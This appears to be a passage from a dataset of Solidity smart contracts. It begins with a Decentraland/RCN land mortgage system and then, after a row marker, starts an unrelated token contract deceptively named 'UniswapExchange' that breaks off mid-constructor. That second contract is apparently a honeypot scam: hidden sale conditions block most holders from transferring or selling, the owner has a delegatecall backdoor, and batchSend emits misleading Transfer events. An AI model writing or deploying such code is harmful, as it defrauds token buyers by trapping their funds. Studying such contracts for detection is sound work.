landId: landId,
landCost: landCost,
status: Status.Pending,
tokenConverter: tokenConverter
})) - 1;
loanToLiability[engine][loanId] = id;
emit RequestedMortgage({
_id: id,
_borrower: borrower,
_engine: engine,
_loanId: loanId,
_landMarket: landMarket,
_landId: landId,
_deposit: deposit,
_tokenConverter: tokenConverter
});
}
function cancelMortgage(uint256 id) external returns (bool) {
Mortgage storage mortgage = mortgages[id];
require(msg.sender == mortgage.owner, "Only the owner can cancel the mortgage");
require(mortgage.status == Status.Pending, "The mortgage is not pending");
mortgage.status = Status.Canceled;
require(mana.transfer(msg.sender, mortgage.deposit), "Error returning MANA");
emit CanceledMortgage(msg.sender, id);
return true;
}
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool) {
Mortgage storage mortgage = mortgages[uint256(readBytes32(data, 0))];
require(mortgage.engine == engine, "Engine does not match");
require(mortgage.loanId == index, "Loan id does not match");
require(mortgage.status == Status.Pending, "Mortgage is not pending");
require(engines[engine], "Engine not authorized");
mortgage.status = Status.Ongoing;
_generate(uint256(readBytes32(data, 0)), mortgage.owner);
uint256 loanAmount = convertRate(engine.getOracle(index), engine.getCurrency(index), oracleData, engine.getAmount(index));
require(rcn.transferFrom(mortgage.owner, this, loanAmount), "Error pulling RCN from borrower");
uint256 boughtMana = convertSafe(mortgage.tokenConverter, rcn, mana, loanAmount);
delete mortgage.tokenConverter;
uint256 currentLandCost;
(, , currentLandCost, ) = mortgage.landMarket.auctionByAssetId(mortgage.landId);
require(currentLandCost <= mortgage.landCost, "Parcel is more expensive than expected");
require(mana.approve(mortgage.landMarket, currentLandCost), "Error approving mana transfer");
flagReceiveLand = mortgage.landId;
mortgage.landMarket.executeOrder(mortgage.landId, currentLandCost);
require(mana.approve(mortgage.landMarket, 0), "Error removing approve mana transfer");
require(flagReceiveLand == 0, "ERC721 callback not called");
require(land.ownerOf(mortgage.landId) == address(this), "Error buying parcel");
land.setUpdateOperator(mortgage.landId, mortgage.owner);
uint256 totalMana = boughtMana.add(mortgage.deposit);
uint256 rest = totalMana.sub(currentLandCost);
require(mana.transfer(mortgage.owner, rest), "Error returning MANA");
require(mortgage.engine.cosign(index, 0), "Error performing cosign");
mortgageByLandId[mortgage.landId] = uint256(readBytes32(data, 0));
emit StartedMortgage(uint256(readBytes32(data, 0)));
return true;
}
function convertSafe(
TokenConverter converter,
Token from,
Token to,
uint256 amount
) internal returns (uint256 bought) {
require(from.approve(converter, amount), "Error approve convert safe");
uint256 prevBalance = to.balanceOf(this);
bought = converter.convert(from, to, amount, 1);
require(to.balanceOf(this).sub(prevBalance) >= bought, "Bought amount incorrect");
require(from.approve(converter, 0), "Error remove approve convert safe");
}
function claim(address engine, uint256 loanId, bytes) external returns (bool) {
uint256 mortgageId = loanToLiability[engine][loanId];
Mortgage storage mortgage = mortgages[mortgageId];
require(mortgage.status == Status.Ongoing, "Mortgage not ongoing");
require(mortgage.loanId == loanId, "Mortgage don't match loan id");
if (mortgage.engine.getStatus(loanId) == Engine.Status.paid || mortgage.engine.getStatus(loanId) == Engine.Status.destroyed) {
require(_isAuthorized(msg.sender, mortgageId), "Sender not authorized");
mortgage.status = Status.Paid;
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit PaidMortgage(msg.sender, mortgageId);
} else if (isDefaulted(mortgage.engine, loanId)) {
require(msg.sender == mortgage.engine.ownerOf(loanId), "Sender not lender");
mortgage.status = Status.Defaulted;
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit DefaultedMortgage(mortgageId);
} else {
revert("Mortgage not defaulted/paid");
}
delete mortgageByLandId[mortgage.landId];
return true;
}
function isDefaulted(Engine engine, uint256 index) public view returns (bool) {
return engine.getStatus(index) == Engine.Status.lent &&
engine.getDueTime(index).add(7 days) <= block.timestamp;
}
function onERC721Received(uint256 _tokenId, address, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
function onERC721Received(address, uint256 _tokenId, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
function onERC721Received(address, address, uint256 _tokenId, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(0x150b7a02);
}
}
function getData(uint256 id) public pure returns (bytes o) {
assembly {
o := mload(0x40)
mstore(0x40, add(o, and(add(add(32, 0x20), 0x1f), not(0x1f))))
mstore(o, 32)
mstore(add(o, 32), id)
}
}
function updateLandData(uint256 id, string data) external returns (bool) {
require(_isAuthorized(msg.sender, id), "Sender not authorized");
(int256 x, int256 y) = land.decodeTokenId(mortgages[id].landId);
land.updateLandData(x, y, data);
emit UpdatedLandData(msg.sender, id, data);
return true;
}
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) internal returns (uint256) {
if (oracle == address(0)) {
return amount;
} else {
(uint256 rate, uint256 decimals) = oracle.getRate(currency, data);
emit ReadedOracle(oracle, currency, decimals, rate);
require(decimals <= RCN_DECIMALS, "Decimals exceeds max decimals");
return amount.mult(rate.mult(10**(RCN_DECIMALS-decimals))) / PRECISION;
}
}
function _doTransferFrom(
address _from,
address _to,
uint256 _assetId,
bytes _userData,
bool _doCheck
)
internal
{
ERC721Base._doTransferFrom(_from, _to, _assetId, _userData, _doCheck);
land.setUpdateOperator(mortgages[_assetId].landId, _to);
}
}
interface NanoLoanEngine {
function createLoan(address _oracleContract, address _borrower, bytes32 _currency, uint256 _amount, uint256 _interestRate,
uint256 _interestRatePunitory, uint256 _duesIn, uint256 _cancelableAt, uint256 _expirationRequest, string _metadata) public returns (uint256);
function getIdentifier(uint256 index) public view returns (bytes32);
function registerApprove(bytes32 identifier, uint8 v, bytes32 r, bytes32 s) public returns (bool);
function pay(uint index, uint256 _amount, address _from, bytes oracleData) public returns (bool);
function rcn() public view returns (Token);
function getOracle(uint256 index) public view returns (Oracle);
function getAmount(uint256 index) public view returns (uint256);
function getCurrency(uint256 index) public view returns (bytes32);
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) public view returns (uint256);
function lend(uint index, bytes oracleData, Cosigner cosigner, bytes cosignerData) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
}
library LrpSafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
require(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y));
return z;
}
function min(uint256 a, uint256 b) internal pure returns(uint256) {
if (a < b) {
return a;
} else {
return b;
}
}
function max(uint256 a, uint256 b) internal pure returns(uint256) {
if (a > b) {
return a;
} else {
return b;
}
}
}
contract ConverterRamp is Ownable {
using LrpSafeMath for uint256;
address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
uint256 public constant AUTO_MARGIN = 1000001;
uint256 public constant I_MARGIN_SPEND = 0;
uint256 public constant I_MAX_SPEND = 1;
uint256 public constant I_REBUY_THRESHOLD = 2;
uint256 public constant I_ENGINE = 0;
uint256 public constant I_INDEX = 1;
uint256 public constant I_PAY_AMOUNT = 2;
uint256 public constant I_PAY_FROM = 3;
uint256 public constant I_LEND_COSIGNER = 2;
event RequiredRebuy(address token, uint256 amount);
event Return(address token, address to, uint256 amount);
event OptimalSell(address token, uint256 amount);
event RequiredRcn(uint256 required);
event RunAutoMargin(uint256 loops, uint256 increment);
function pay(
TokenConverter converter,
Token fromToken,
bytes32[4] loanParams,
bytes oracleData,
uint256[3] convertRules
) external payable returns (bool) {
Token rcn = NanoLoanEngine(address(loanParams[I_ENGINE])).rcn();
uint256 initialBalance = rcn.balanceOf(this);
uint256 requiredRcn = getRequiredRcnPay(loanParams, oracleData);
emit RequiredRcn(requiredRcn);
uint256 optimalSell = getOptimalSell(converter, fromToken, rcn, requiredRcn, convertRules[I_MARGIN_SPEND]);
emit OptimalSell(fromToken, optimalSell);
pullAmount(fromToken, optimalSell);
uint256 bought = convertSafe(converter, fromToken, rcn, optimalSell);
require(
executeOptimalPay({
params: loanParams,
oracleData: oracleData,
rcnToPay: bought
}),
"Error paying the loan"
);
require(
rebuyAndReturn({
converter: converter,
fromToken: rcn,
toToken: fromToken,
amount: rcn.balanceOf(this) - initialBalance,
spentAmount: optimalSell,
convertRules: convertRules
}),
"Error rebuying the tokens"
);
require(rcn.balanceOf(this) == initialBalance, "Converter balance has incremented");
return true;
}
function requiredLendSell(
TokenConverter converter,
Token fromToken,
bytes32[3] loanParams,
bytes oracleData,
bytes cosignerData,
uint256[3] convertRules
) external view returns (uint256) {
Token rcn = NanoLoanEngine(address(loanParams[0])).rcn();
return getOptimalSell(
converter,
fromToken,
rcn,
getRequiredRcnLend(loanParams, oracleData, cosignerData),
convertRules[I_MARGIN_SPEND]
);
}
function requiredPaySell(
TokenConverter converter,
Token fromToken,
bytes32[4] loanParams,
bytes oracleData,
uint256[3] convertRules
) external view returns (uint256) {
Token rcn = NanoLoanEngine(address(loanParams[0])).rcn();
return getOptimalSell(
converter,
fromToken,
rcn,
getRequiredRcnPay(loanParams, oracleData),
convertRules[I_MARGIN_SPEND]
);
}
function lend(
TokenConverter converter,
Token fromToken,
bytes32[3] loanParams,
bytes oracleData,
bytes cosignerData,
uint256[3] convertRules
) external payable returns (bool) {
Token rcn = NanoLoanEngine(address(loanParams[0])).rcn();
uint256 initialBalance = rcn.balanceOf(this);
uint256 requiredRcn = getRequiredRcnLend(loanParams, oracleData, cosignerData);
emit RequiredRcn(requiredRcn);
uint256 optimalSell = getOptimalSell(converter, fromToken, rcn, requiredRcn, convertRules[I_MARGIN_SPEND]);
emit OptimalSell(fromToken, optimalSell);
pullAmount(fromToken, optimalSell);
uint256 bought = convertSafe(converter, fromToken, rcn, optimalSell);
require(rcn.approve(address(loanParams[0]), bought));
require(executeLend(loanParams, oracleData, cosignerData), "Error lending the loan");
require(rcn.approve(address(loanParams[0]), 0));
require(executeTransfer(loanParams, msg.sender), "Error transfering the loan");
require(
rebuyAndReturn({
converter: converter,
fromToken: rcn,
toToken: fromToken,
amount: rcn.balanceOf(this) - initialBalance,
spentAmount: optimalSell,
convertRules: convertRules
}),
"Error rebuying the tokens"
);
require(rcn.balanceOf(this) == initialBalance);
return true;
}
function pullAmount(
Token token,
uint256 amount
) private {
if (token == ETH_ADDRESS) {
require(msg.value >= amount, "Error pulling ETH amount");
if (msg.value > amount) {
msg.sender.transfer(msg.value - amount);
}
} else {
require(token.transferFrom(msg.sender, this, amount), "Error pulling Token amount");
}
}
function transfer(
Token token,
address to,
uint256 amount
) private {
if (token == ETH_ADDRESS) {
to.transfer(amount);
} else {
require(token.transfer(to, amount), "Error sending tokens");
}
}
function rebuyAndReturn(
TokenConverter converter,
Token fromToken,
Token toToken,
uint256 amount,
uint256 spentAmount,
uint256[3] memory convertRules
) internal returns (bool) {
uint256 threshold = convertRules[I_REBUY_THRESHOLD];
uint256 bought = 0;
if (amount != 0) {
if (amount > threshold) {
bought = convertSafe(converter, fromToken, toToken, amount);
emit RequiredRebuy(toToken, amount);
emit Return(toToken, msg.sender, bought);
transfer(toToken, msg.sender, bought);
} else {
emit Return(fromToken, msg.sender, amount);
transfer(fromToken, msg.sender, amount);
}
}
uint256 maxSpend = convertRules[I_MAX_SPEND];
require(spentAmount.safeSubtract(bought) <= maxSpend || maxSpend == 0, "Max spend exceeded");
return true;
}
function getOptimalSell(
TokenConverter converter,
Token fromToken,
Token toToken,
uint256 requiredTo,
uint256 extraSell
) internal returns (uint256 sellAmount) {
uint256 sellRate = (10 ** 18 * converter.getReturn(toToken, fromToken, requiredTo)) / requiredTo;
if (extraSell == AUTO_MARGIN) {
uint256 expectedReturn = 0;
uint256 optimalSell = applyRate(requiredTo, sellRate);
uint256 increment = applyRate(requiredTo / 100000, sellRate);
uint256 returnRebuy;
uint256 cl;
while (expectedReturn < requiredTo && cl < 10) {
optimalSell += increment;
returnRebuy = converter.getReturn(fromToken, toToken, optimalSell);
optimalSell = (optimalSell * requiredTo) / returnRebuy;
expectedReturn = returnRebuy;
cl++;
}
emit RunAutoMargin(cl, increment);
return optimalSell;
} else {
return applyRate(requiredTo, sellRate).safeMult(uint256(100000).safeAdd(extraSell)) / 100000;
}
}
function convertSafe(
TokenConverter converter,
Token fromToken,
Token toToken,
uint256 amount
) internal returns (uint256 bought) {
if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, amount));
uint256 prevBalance = toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance;
uint256 sendEth = fromToken == ETH_ADDRESS ? amount : 0;
uint256 boughtAmount = converter.convert.value(sendEth)(fromToken, toToken, amount, 1);
require(
boughtAmount == (toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance) - prevBalance,
"Bought amound does does not match"
);
if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, 0));
return boughtAmount;
}
function executeOptimalPay(
bytes32[4] memory params,
bytes oracleData,
uint256 rcnToPay
) internal returns (bool) {
NanoLoanEngine engine = NanoLoanEngine(address(params[I_ENGINE]));
uint256 index = uint256(params[I_INDEX]);
Oracle oracle = engine.getOracle(index);
uint256 toPay;
if (oracle == address(0)) {
toPay = rcnToPay;
} else {
uint256 rate;
uint256 decimals;
bytes32 currency = engine.getCurrency(index);
(rate, decimals) = oracle.getRate(currency, oracleData);
toPay = (rcnToPay * (10 ** (18 - decimals + (18 * 2)) / rate)) / 10 ** 18;
}
Token rcn = engine.rcn();
require(rcn.approve(engine, rcnToPay));
require(engine.pay(index, toPay, address(params[I_PAY_FROM]), oracleData), "Error paying the loan");
require(rcn.approve(engine, 0));
return true;
}
function executeLend(
bytes32[3] memory params,
bytes oracleData,
bytes cosignerData
) internal returns (bool) {
NanoLoanEngine engine = NanoLoanEngine(address(params[I_ENGINE]));
uint256 index = uint256(params[I_INDEX]);
return engine.lend(index, oracleData, Cosigner(address(params[I_LEND_COSIGNER])), cosignerData);
}
function executeTransfer(
bytes32[3] memory params,
address to
) internal returns (bool) {
return NanoLoanEngine(address(params[0])).transfer(to, uint256(params[1]));
}
function applyRate(
uint256 amount,
uint256 rate
) pure internal returns (uint256) {
return amount.safeMult(rate) / 10 ** 18;
}
function getRequiredRcnLend(
bytes32[3] memory params,
bytes oracleData,
bytes cosignerData
) internal returns (uint256 required) {
NanoLoanEngine engine = NanoLoanEngine(address(params[I_ENGINE]));
uint256 index = uint256(params[I_INDEX]);
Cosigner cosigner = Cosigner(address(params[I_LEND_COSIGNER]));
if (cosigner != address(0)) {
required += cosigner.cost(engine, index, cosignerData, oracleData);
}
required += engine.convertRate(engine.getOracle(index), engine.getCurrency(index), oracleData, engine.getAmount(index));
}
function getRequiredRcnPay(
bytes32[4] memory params,
bytes oracleData
) internal returns (uint256) {
NanoLoanEngine engine = NanoLoanEngine(address(params[I_ENGINE]));
uint256 index = uint256(params[I_INDEX]);
uint256 amount = uint256(params[I_PAY_AMOUNT]);
return engine.convertRate(engine.getOracle(index), engine.getCurrency(index), oracleData, amount);
}
function sendTransaction(
address to,
uint256 value,
bytes data
) external onlyOwner returns (bool) {
return to.call.value(value)(data);
}
function() external {}
}
contract MortgageHelper is Ownable {
using LrpSafeMath for uint256;
MortgageManager public mortgageManager;
NanoLoanEngine public nanoLoanEngine;
Token public rcn;
Token public mana;
LandMarket public landMarket;
TokenConverter public tokenConverter;
ConverterRamp public converterRamp;
address public manaOracle;
uint256 public requiredTotal = 105;
uint256 public rebuyThreshold = 0.001 ether;
uint256 public marginSpend = 500;
uint256 public maxSpend = 300;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
event NewMortgage(address borrower, uint256 loanId, uint256 landId, uint256 mortgageId);
event PaidLoan(address engine, uint256 loanId, uint256 amount);
event SetRebuyThreshold(uint256 _prev, uint256 _new);
event SetMarginSpend(uint256 _prev, uint256 _new);
event SetMaxSpend(uint256 _prev, uint256 _new);
event SetRequiredTotal(uint256 _prev, uint256 _new);
event SetTokenConverter(address _prev, address _new);
event SetConverterRamp(address _prev, address _new);
event SetManaOracle(address _manaOracle);
event SetEngine(address _engine);
event SetLandMarket(address _landMarket);
event SetMortgageManager(address _mortgageManager);
constructor(
MortgageManager _mortgageManager,
NanoLoanEngine _nanoLoanEngine,
LandMarket _landMarket,
address _manaOracle,
TokenConverter _tokenConverter,
ConverterRamp _converterRamp
) public {
mortgageManager = _mortgageManager;
nanoLoanEngine = _nanoLoanEngine;
rcn = _mortgageManager.rcn();
mana = _mortgageManager.mana();
landMarket = _landMarket;
manaOracle = _manaOracle;
tokenConverter = _tokenConverter;
converterRamp = _converterRamp;
require(_nanoLoanEngine.rcn() == rcn, "RCN Mismatch");
require(_mortgageManager.engines(_nanoLoanEngine), "Engine is not approved");
require(_isContract(mana), "MANA should be a contract");
require(_isContract(rcn), "RCN should be a contract");
require(_isContract(_tokenConverter), "Token converter should be a contract");
require(_isContract(_landMarket), "Land market should be a contract");
require(_isContract(_converterRamp), "Converter ramp should be a contract");
require(_isContract(_manaOracle), "MANA Oracle should be a contract");
require(_isContract(_mortgageManager), "Mortgage manager should be a contract");
emit SetConverterRamp(converterRamp, _converterRamp);
emit SetTokenConverter(tokenConverter, _tokenConverter);
emit SetEngine(_nanoLoanEngine);
emit SetLandMarket(_landMarket);
emit SetMortgageManager(_mortgageManager);
emit SetManaOracle(_manaOracle);
emit SetMaxSpend(0, maxSpend);
emit SetMarginSpend(0, marginSpend);
emit SetRebuyThreshold(0, rebuyThreshold);
emit SetRequiredTotal(0, requiredTotal);
}
function createLoan(uint256[6] memory params, string metadata) internal returns (uint256) {
return nanoLoanEngine.createLoan(
manaOracle,
msg.sender,
MANA_CURRENCY,
params[0],
params[1],
params[2],
params[3],
params[4],
params[5],
metadata
);
}
function setMaxSpend(uint256 _maxSpend) external onlyOwner returns (bool) {
emit SetMaxSpend(maxSpend, _maxSpend);
maxSpend = _maxSpend;
return true;
}
function setRequiredTotal(uint256 _requiredTotal) external onlyOwner returns (bool) {
emit SetRequiredTotal(requiredTotal, _requiredTotal);
requiredTotal = _requiredTotal;
return true;
}
function setConverterRamp(ConverterRamp _converterRamp) external onlyOwner returns (bool) {
require(_isContract(_converterRamp), "Should be a contract");
emit SetConverterRamp(converterRamp, _converterRamp);
converterRamp = _converterRamp;
return true;
}
function setRebuyThreshold(uint256 _rebuyThreshold) external onlyOwner returns (bool) {
emit SetRebuyThreshold(rebuyThreshold, _rebuyThreshold);
rebuyThreshold = _rebuyThreshold;
return true;
}
function setMarginSpend(uint256 _marginSpend) external onlyOwner returns (bool) {
emit SetMarginSpend(marginSpend, _marginSpend);
marginSpend = _marginSpend;
return true;
}
function setTokenConverter(TokenConverter _tokenConverter) external onlyOwner returns (bool) {
require(_isContract(_tokenConverter), "Should be a contract");
emit SetTokenConverter(tokenConverter, _tokenConverter);
tokenConverter = _tokenConverter;
return true;
}
function setManaOracle(address _manaOracle) external onlyOwner returns (bool) {
require(_isContract(_manaOracle), "Should be a contract");
emit SetManaOracle(_manaOracle);
manaOracle = _manaOracle;
return true;
}
function setEngine(NanoLoanEngine _engine) external onlyOwner returns (bool) {
require(_isContract(_engine), "Should be a contract");
emit SetEngine(_engine);
nanoLoanEngine = _engine;
return true;
}
function setLandMarket(LandMarket _landMarket) external onlyOwner returns (bool) {
require(_isContract(_landMarket), "Should be a contract");
emit SetLandMarket(_landMarket);
landMarket = _landMarket;
return true;
}
function setMortgageManager(MortgageManager _mortgageManager) external onlyOwner returns (bool) {
require(_isContract(_mortgageManager), "Should be a contract");
emit SetMortgageManager(_mortgageManager);
mortgageManager = _mortgageManager;
return true;
}
function requestMortgage(
uint256[6] loanParams,
string metadata,
uint256 landId,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256) {
uint256 loanId = createLoan(loanParams, metadata);
NanoLoanEngine _nanoLoanEngine = nanoLoanEngine;
require(_nanoLoanEngine.registerApprove(_nanoLoanEngine.getIdentifier(loanId), v, r, s), "Signature not valid");
uint256 requiredDeposit = ((readLandCost(landId) * requiredTotal) / 100) - _nanoLoanEngine.getAmount(loanId);
Token _mana = mana;
_tokenTransferFrom(_mana, msg.sender, this, requiredDeposit);
require(_mana.approve(mortgageManager, requiredDeposit), "Error approve MANA transfer");
uint256 mortgageId = mortgageManager.requestMortgageId(
Engine(_nanoLoanEngine),
landMarket,
loanId,
requiredDeposit,
landId,
tokenConverter
);
require(_mana.approve(mortgageManager, 0), "Error remove approve MANA transfer");
emit NewMortgage(msg.sender, loanId, landId, mortgageId);
return mortgageId;
}
function readLandCost(uint256 _landId) internal view returns (uint256 landCost) {
(, , landCost, ) = landMarket.auctionByAssetId(_landId);
}
function pay(address engine, uint256 loan, uint256 amount) external returns (bool) {
emit PaidLoan(engine, loan, amount);
bytes32[4] memory loanParams = [
bytes32(engine),
bytes32(loan),
bytes32(amount),
bytes32(msg.sender)
];
uint256[3] memory converterParams = [
marginSpend,
amount.safeMult(uint256(100000).safeAdd(maxSpend)) / 100000,
rebuyThreshold
];
require(address(converterRamp).delegatecall(
bytes4(0x86ee863d),
address(tokenConverter),
address(mana),
loanParams,
0x140,
converterParams,
0x0
), "Error delegate pay call");
}
function _tokenTransferFrom(Token token, address from, address to, uint256 amount) internal {
require(token.balanceOf(from) >= amount, "From balance is not enough");
require(token.allowance(from, address(this)) >= amount, "Allowance is not enough");
require(token.transferFrom(from, to, amount), "Transfer failed");
}
function _isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
} | 1 | 4,767 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
